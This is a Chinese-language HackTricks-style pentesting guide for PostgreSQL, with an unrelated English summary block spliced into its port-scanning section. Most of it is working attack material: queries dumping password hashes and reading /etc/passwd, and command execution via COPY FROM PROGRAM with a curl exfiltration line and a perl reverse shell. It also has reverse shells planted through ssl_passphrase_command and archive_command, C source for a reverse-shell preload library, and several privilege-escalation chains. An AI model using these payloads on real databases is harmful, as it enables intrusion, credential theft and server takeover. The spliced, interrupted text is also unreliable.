36 KiB
5432,5433 - Pentesting Postgresql
使用 Trickest 可轻松构建并通过世界上最先进的社区工具自动化工作流程。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
- 如果您想看到您的公司在 HackTricks 中做广告或下载 PDF 版本的 HackTricks,请查看订阅计划!
- 获取官方 PEASS & HackTricks 商品
- 探索PEASS 家族,我们的独家NFTs
- 加入 💬 Discord 群组 或 电报群组 或在 Twitter 🐦 @carlospolopm** 上关注我们**。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。
基本信息
PostgreSQL 被描述为一种面向对象的关系型数据库系统,是开源的。该系统不仅使用 SQL 语言,还通过附加功能增强了它。其功能使其能够处理各种数据类型和操作,使其成为开发人员和组织的多功能选择。
**默认端口:**5432,如果此端口已被使用,似乎 postgresql 将使用下一个未使用的端口(可能是 5433)。
PORT STATE SERVICE
5432/tcp open pgsql
连接和基本枚举
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
# Get current user
SELECT user;
# Get current database
SELECT current_catalog;
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
# Get languages
SELECT lanname,lanacl FROM pg_language;
# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;
# Get history of commands executed
\s
{% hint style="warning" %}
如果运行 \list
命令发现一个名为 rdsadmin
的数据库,那么你就知道你在一个 AWS postgresql数据库 内。
{% endhint %}
要了解更多关于如何滥用PostgreSQL数据库的信息,请查看:
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %} postgresql-injection {% endcontent-ref %}
自动枚举
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
暴力破解
端口扫描
根据这项研究,当连接尝试失败时,dblink
会抛出一个sqlclient_unable_to_establish_sqlconnection
异常,其中包括错误的解释。以下是这些细节的示例。
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
- 主机已宕机
DETAIL: 无法连接到服务器: 主机不可达 服务器是否在主机"1.2.3.4"上运行,并接受端口5678上的TCP/IP连接?
- 端口已关闭
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- 端口是开放的
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
## PostgreSQL
### Enumeration
1. **Banner Grabbing**: Use tools like `nc` or `telnet` to connect to the PostgreSQL service and grab the banner to identify the version running.
2. **Nmap Scripts**: Nmap has scripts specifically designed for PostgreSQL enumeration. Use the following command:
```bash
nmap -p 5432 --script postgresql-* <target>
- Manual Connection: Use
psql
to manually connect to the PostgreSQL service and gather information about the databases and users.
Exploitation
- Default Credentials: Check for default credentials like
postgres:postgres
or weak credentials in use. - SQL Injection: Exploit SQL injection vulnerabilities in web applications connected to the PostgreSQL database.
- Privilege Escalation: Look for ways to escalate privileges within the PostgreSQL service or the underlying operating system.
Post-Exploitation
- Dumping Data: Use tools like
pg_dump
to dump the contents of databases for further analysis. - Creating Backdoors: Create backdoors for persistent access to the PostgreSQL service.
- Covering Tracks: Remove evidence of the attack by deleting logs and other traces of unauthorized access.
Countermeasures
- Strong Credentials: Always use strong, unique passwords for PostgreSQL accounts.
- Regular Updates: Keep the PostgreSQL server updated with the latest security patches to prevent exploitation of known vulnerabilities.
- Network Segmentation: Implement network segmentation to restrict access to the PostgreSQL service from unauthorized users.
DETAIL: FATAL: password authentication failed for user "name"
* 端口是开放的或被过滤的
DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
在PL/pgSQL函数中,目前无法获取异常详细信息。但是,如果您可以直接访问PostgreSQL服务器,则可以检索所需的信息。如果从系统表中提取用户名和密码不可行,您可以考虑使用前一节讨论的字典攻击方法,因为这可能会产生积极的结果。
## 特权枚举
### 角色
| 角色类型 | |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper | 角色具有超级用户特权 |
| rolinherit | 角色自动继承其成员角色的特权 |
| rolcreaterole | 角色可以创建更多角色 |
| rolcreatedb | 角色可以创建数据库 |
| rolcanlogin | 角色可以登录。也就是说,此角色可以作为初始会话授权标识符 |
| rolreplication | 角色是复制角色。复制角色可以启动复制连接并创建和删除复制插槽。 |
| rolconnlimit | 对于可以登录的角色,设置此角色可以进行的最大并发连接数。-1表示无限制。 |
| rolpassword | 不是密码(始终显示为 `********`) |
| rolvaliduntil | 密码过期时间(仅用于密码身份验证);如果不过期,则为null |
| rolbypassrls | 角色绕过每个行级安全策略,请参阅[第5.8节](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)了解更多信息。 |
| rolconfig | 运行时配置变量的角色特定默认值 |
| oid | 角色的ID |
#### 有趣的组
* 如果您是 **`pg_execute_server_program`** 的成员,则可以 **执行** 程序
* 如果您是 **`pg_read_server_files`** 的成员,则可以 **读取** 文件
* 如果您是 **`pg_write_server_files`** 的成员,则可以 **写入** 文件
<div data-gb-custom-block data-tag="hint" data-style='info'>
请注意,在Postgres中,**用户**、**组**和**角色**是**相同的**。这取决于您如何使用它以及是否**允许登录**。
</div>
```sql
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
表格
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
函数
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access
# Get all functions of a schema
\df pg_catalog.*
# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
# Another aparent option
SELECT * FROM pg_proc;
文件系统操作
读取目录和文件
从这个提交中,定义的**DEFAULT_ROLE_READ_SERVER_FILES
组成员(称为pg_read_server_files
)和超级用户可以在任何路径上使用COPY
**方法(查看genfile.c
中的convert_and_check_filename
):
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
{% hint style="warning" %} 请记住,如果您不是超级用户但具有CREATEROLE权限,则可以将自己添加到该组中:
GRANT pg_read_server_files TO username;
更多信息 {% endhint %}
有其他PostgreSQL函数可用于读取文件或列出目录。只有超级用户和具有显式权限的用户可以使用它们:
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
您可以在https://www.postgresql.org/docs/current/functions-admin.html找到更多函数
简单文件写入
只有超级用户和**pg_write_server_files
**成员才能使用copy
来写入文件。
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
{% hint style="warning" %}
请记住,如果您不是超级用户但具有**CREATEROLE
权限,则可以将自己添加到该组中:**
GRANT pg_write_server_files TO username;
更多信息 {% endhint %}
请记住,COPY 无法处理换行符,因此即使您使用 base64 负载,您也需要发送一行命令。
这种技术的一个非常重要的限制是**copy
无法用于编写二进制文件,因为它会修改一些二进制值。**
上传二进制文件
然而,还有其他技术可以上传大型二进制文件:
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %} big-binary-files-upload-postgresql.md {% endcontent-ref %}
漏洞赏金提示:注册 Intigriti,这是一个由黑客创建的高级漏洞赏金平台!立即加入我们,访问 https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
通过本地文件写入更新 PostgreSQL 表数据
如果您有必要的权限来读写 PostgreSQL 服务器文件,您可以通过覆盖关联文件节点在PostgreSQL 数据目录上更新服务器上的任何表。有关此技术的更多信息在这里。
所需步骤:
- 获取 PostgreSQL 数据目录
SELECT setting FROM pg_settings WHERE name = 'data_directory';
注意: 如果无法从设置中检索当前数据目录路径,您可以通过 SELECT version()
查询查询主要的 PostgreSQL 版本,然后尝试暴力破解路径。在 Unix 安装的 PostgreSQL 上,常见的数据目录路径是 /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
。常见的集群名称是 main
。 2. 获取与目标表关联的文件节点的相对路径
SELECT pg_relation_filepath('{TABLE_NAME}')
此查询应返回类似 base/3/1337
的内容。磁盘上的完整路径将是 $DATA_DIRECTORY/base/3/1337
,即 /var/lib/postgresql/13/main/base/3/1337
。 3. 通过 lo_*
函数下载文件节点
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
- 获取与目标表关联的数据类型
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
- 使用 PostgreSQL Filenode Editor 来编辑文件节点;将所有
rol*
布尔标志设置为 1 以获取完全权限。
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
6. 通过 lo_*
函数重新上传编辑后的文件节点,并覆盖磁盘上的原始文件
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
- (可选) 通过运行昂贵的 SQL 查询来清除内存表缓存
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
- 您现在应该在 PostgreSQL 中看到更新后的表值。
您还可以通过编辑 pg_authid
表成为超级管理员。请参阅以下部分。
RCE
RCE 到程序
自版本 9.3起,只有超级用户和**pg_execute_server_program
** 组的成员才能使用 copy 进行 RCE(例如,用于数据泄露的示例:
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
示例执行:
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
{% hint style="warning" %}
请记住,如果您不是超级用户但具有**CREATEROLE
权限,则可以将自己添加到该组中:**
GRANT pg_execute_server_program TO username;
更多信息 {% endhint %}
或者使用 metasploit 中的 multi/postgres/postgres_copy_from_program_cmd_exec
模块。
关于此漏洞的更多信息在这里。尽管被报告为 CVE-2019-9193,但Postges宣称这是一个功能,不会修复。
使用PostgreSQL语言进行RCE
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %} rce-with-postgresql-languages.md {% endcontent-ref %}
使用PostgreSQL扩展进行RCE
一旦你从之前的帖子中学会了如何上传二进制文件,你可以尝试获取RCE上传postgresql扩展并加载它。
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %} rce-with-postgresql-extensions.md {% endcontent-ref %}
PostgreSQL配置文件RCE
{% hint style="info" %} 以下RCE向量在受限制的SQLi上下文中特别有用,因为所有步骤都可以通过嵌套的SELECT语句执行 {% endhint %}
PostgreSQL的配置文件由postgres用户(运行数据库的用户)拥有可写权限,因此作为超级用户,您可以在文件系统中写入文件,因此可以覆盖此文件。
使用ssl_passphrase_command进行RCE
有关此技术的更多信息请点击此处。
配置文件具有一些有趣的属性,可以导致RCE:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
数据库私钥的路径ssl_passphrase_command = ''
如果私有文件受密码保护(加密),PostgreSQL将执行此属性中指定的命令。ssl_passphrase_command_supports_reload = off
如果此属性为on,则在执行pg_reload_conf()
时,如果密钥受密码保护,将执行命令。
然后,攻击者需要:
- 从服务器转储私钥
- 加密下载的私钥:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
- 覆盖
- 转储当前的PostgreSQL 配置
- 使用上述属性配置覆盖 配置:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
- 执行
pg_reload_conf()
在测试中我注意到,这只有在私钥文件具有640权限,由root拥有并且由ssl-cert或postgres组拥有(因此postgres用户可以读取它),并且放置在_/var/lib/postgresql/12/main_中时才有效。
使用archive_command进行RCE
有关此配置和WAL的更多信息请点击此处。
配置文件中的另一个可利用属性是archive_command
。
为了使其工作,archive_mode
设置必须为'on'
或'always'
。如果是这样,那么我们可以覆盖archive_command
中的命令,并通过WAL(预写式日志记录)操作强制执行它。
一般步骤是:
- 检查归档模式是否已启用:
SELECT current_setting('archive_mode')
- 使用有效载荷覆盖
archive_command
。例如,反向shell:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
- 重新加载配置:
SELECT pg_reload_conf()
- 强制运行WAL操作,这将调用归档命令:
SELECT pg_switch_wal()
或对于某些Postgres版本SELECT pg_switch_xlog()
使用预加载库进行RCE
有关此技术的更多信息请点击此处。
此攻击向量利用以下配置变量:
session_preload_libraries
-- PostgreSQL服务器在客户端连接时将加载的库。dynamic_library_path
-- PostgreSQL服务器将搜索库的目录列表。
我们可以将dynamic_library_path
值设置为postgres
用户运行数据库的可写目录,例如/tmp/
目录,并在那里上传一个恶意的.so
对象。接下来,我们将通过将其包含在session_preload_libraries
变量中,强制PostgreSQL服务器加载我们新上传的库。
攻击步骤为:
- 下载原始的
postgresql.conf
- 在
dynamic_library_path
值中包含/tmp/
目录,例如dynamic_library_path = '/tmp:$libdir'
- 在
session_preload_libraries
值中包含恶意库名称,例如session_preload_libraries = 'payload.so'
- 通过
SELECT version()
查询检查主要的PostgreSQL版本 - 使用正确的PostgreSQL dev包编译恶意库代码示例代码:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void _init() {
/*
code taken from https://www.revshells.com/
*/
int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}
编译代码:
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
- 上传在步骤2-3中创建的恶意
postgresql.conf
,并覆盖原始文件 - 将步骤5中的
payload.so
上传到/tmp
目录 - 通过重新启动服务器或调用
SELECT pg_reload_conf()
查询重新加载服务器配置 - 在下一个数据库连接时,您将收到反向shell连接。
Postgres提权
CREATEROLE提权
授权
根据文档: 具有**CREATEROLE
权限的角色可以授予或撤销任何不是超级用户的角色**的成员资格。
因此,如果您拥有**CREATEROLE
权限,您可以授予自己访问其他角色**(不是超级用户)的权限,这可以让您读取和写入文件以及执行命令:
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
修改密码
拥有此角色的用户还可以更改其他非超级用户的密码:
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
提升为超级用户
通常情况下,会发现本地用户可以在 PostgreSQL 中登录而无需提供任何密码。因此,一旦您获得了执行代码的权限,您可以滥用这些权限来获取**SUPERUSER
**角色:
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
这通常是因为**pg_hba.conf
**文件中的以下几行:
# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust
ALTER TABLE提权
在这篇文章中解释了如何在Postgres GCP中滥用授予用户的ALTER TABLE权限来进行提权。
当您尝试将另一个用户设为表的所有者时,应该会收到错误以阻止此操作,但显然GCP允许非超级用户postgres用户执行此操作:
结合这个想法,当在具有索引函数的表上执行INSERT/UPDATE/ANALYZE命令时,该函数会作为命令的一部分以表所有者的权限被调用。可以创建一个带有函数的索引,并将所有者权限授予超级用户,然后对具有恶意函数的表运行ANALYZE,该函数将能够执行命令,因为它正在使用所有者的权限。
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
利用
- 首先创建一个新表。
- 向表中插入一些无关内容,以提供索引函数的数据。
- 开发一个包含代码执行负载的恶意索引函数,允许执行未经授权的命令。
- 将表的所有者更改为"cloudsqladmin",这是GCP专门用于管理和维护数据库的超级用户角色。
- 对表执行ANALYZE操作。此操作迫使PostgreSQL引擎切换到表所有者"cloudsqladmin"的用户上下文。因此,恶意索引函数将以"cloudsqladmin"的权限调用,从而使先前未经授权的shell命令得以执行。
在PostgreSQL中,这个流程看起来像这样:
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
然后,shell_commands_results
表将包含执行代码的输出:
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
本地登录
一些配置不当的PostgreSQL实例可能允许任何本地用户登录,可以使用**dblink
函数**从127.0.0.1本地登录:
\du * # Get Users
\l # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
{% hint style="warning" %}
请注意,为了使上一个查询起作用,需要存在函数 dblink
。如果不存在,您可以尝试使用以下命令创建它:
CREATE EXTENSION dblink;
{% endhint %}
如果您拥有具有更高权限的用户密码,但该用户不允许从外部IP登录,您可以使用以下函数以该用户身份执行查询:
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
可以使用以下方法检查该函数是否存在:
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
具有 SECURITY DEFINER 的自定义定义函数
在这篇文章中,渗透测试人员能够在由IBM提供的postgres实例内提升权限,因为他们发现了带有 SECURITY DEFINER 标志的此函数:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
VOLATILE SECURITY DEFINER
PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
正如文档中所解释的,具有 SECURITY DEFINER 的函数 将以 拥有它的用户的权限 执行。因此,如果函数容易受到 SQL 注入攻击,或者使用了一些由攻击者控制的参数执行特权操作,则可能被滥用以在 postgres 内提升权限。
在上述代码的第4行中,您可以看到该函数具有 SECURITY DEFINER 标志。
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
通过PL/pgSQL进行暴力破解
PL/pgSQL是一种功能齐全的编程语言,与SQL相比提供了更大的过程控制。它可以使用循环和其他控制结构来增强程序逻辑。此外,SQL语句和触发器可以调用使用PL/pgSQL语言创建的函数。这种集成允许更全面和多功能的数据库编程和自动化方法。
您可以滥用这种语言来要求PostgreSQL暴力破解用户凭据。
通过覆盖内部PostgreSQL表进行权限提升
{% hint style="info" %} 以下权限提升向量在受限制的SQLi环境中特别有用,因为所有步骤都可以通过嵌套的SELECT语句执行 {% endhint %}
如果您可以读写PostgreSQL服务器文件,您可以通过覆盖与内部pg_authid
表关联的PostgreSQL磁盘文件节点,成为超级用户。
了解有关此技术的更多信息在这里。
攻击步骤如下:
- 获取PostgreSQL数据目录
- 获取与
pg_authid
表关联的文件节点的相对路径 - 通过
lo_*
函数下载文件节点 - 获取与
pg_authid
表关联的数据类型 - 使用PostgreSQL Filenode Editor来编辑文件节点; 将所有
rol*
布尔标志设置为1以获取完全权限。 - 通过
lo_*
函数重新上传编辑后的文件节点,并覆盖磁盘上的原始文件 - _(可选)_通过运行昂贵的SQL查询来清除内存表缓存
- 您现在应该具有完整超级管理员权限。
POST
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
日志记录
在 postgresql.conf 文件中,您可以通过更改以下设置来启用postgresql日志记录:
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
然后,重新启动服务。
pgadmin
pgadmin 是用于 PostgreSQL 的管理和开发平台。
您可以在 pgadmin4.db 文件中找到密码。
您可以使用脚本中的 decrypt 函数对其进行解密:https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
pg_hba
PostgreSQL中的客户端身份验证通过一个名为pg_hba.conf的配置文件进行管理。该文件包含一系列记录,每个记录指定连接类型、客户端IP地址范围(如果适用)、数据库名称、用户名以及用于匹配连接的身份验证方法。与连接类型、客户端地址、请求的数据库和用户名匹配的第一条记录用于身份验证。如果身份验证失败,没有备用选项或备份。如果没有记录匹配,则拒绝访问。
在pg_hba.conf中可用的基于密码的身份验证方法有md5、crypt和password。这些方法在密码传输方式上有所不同:MD5哈希、crypt加密或明文。需要注意的是,crypt方法不能与在pg_authid中加密的密码一起使用。